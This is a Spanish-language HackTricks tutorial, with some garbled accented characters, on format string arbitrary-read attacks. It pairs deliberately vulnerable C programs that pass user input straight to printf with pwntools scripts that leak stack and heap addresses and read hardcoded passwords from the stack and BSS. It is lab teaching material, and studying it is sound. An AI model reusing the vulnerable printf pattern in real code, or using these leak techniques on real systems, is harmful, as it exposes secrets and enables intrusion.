Cadenas de Formato - Ejemplo de Lectura Arbitraria

Reading time: 5 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Leer Binario Inicio

C贸digo

c
#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Comp铆lalo con:

python
clang -o fs-read fs-read.c -Wno-format-security -no-pie

Explotar

python
from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • El offset es 11 porque al establecer varios A y forzar por fuerza bruta con un bucle de offsets de 0 a 50 se encontr贸 que en el offset 11 y con 5 caracteres extra (pipes | en nuestro caso), es posible controlar una direcci贸n completa.
  • Us茅 %11$p con relleno hasta que la direcci贸n fuera todo 0x4141414141414141
  • La carga 煤til de la cadena de formato est谩 ANTES de la direcci贸n porque printf deja de leer en un byte nulo, as铆 que si enviamos la direcci贸n y luego la cadena de formato, printf nunca alcanzar谩 la cadena de formato ya que se encontrar谩 un byte nulo antes
  • La direcci贸n seleccionada es 0x00400000 porque es donde comienza el binario (sin PIE)

Leer contrase帽as

c
#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Comp铆lalo con:

bash
clang -o fs-read fs-read.c -Wno-format-security

Leer desde la pila

La stack_password se almacenar谩 en la pila porque es una variable local, as铆 que simplemente abusar de printf para mostrar el contenido de la pila es suficiente. Este es un exploit para BF las primeras 100 posiciones para filtrar las contrase帽as de la pila:

python
from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

En la imagen es posible ver que podemos filtrar la contrase帽a desde la pila en la posici贸n 10:

Leer datos

Ejecutando el mismo exploit pero con %p en lugar de %s es posible filtrar una direcci贸n de heap desde la pila en %25$p. Adem谩s, comparando la direcci贸n filtrada (0xaaaab7030894) con la posici贸n de la contrase帽a en la memoria en ese proceso, podemos obtener la diferencia de direcciones:

Ahora es el momento de encontrar c贸mo controlar 1 direcci贸n en la pila para acceder a ella desde la segunda vulnerabilidad de formato de cadena:

python
from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Y es posible ver que en el try 14 con el paso utilizado podemos controlar una direcci贸n:

Exploit

python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks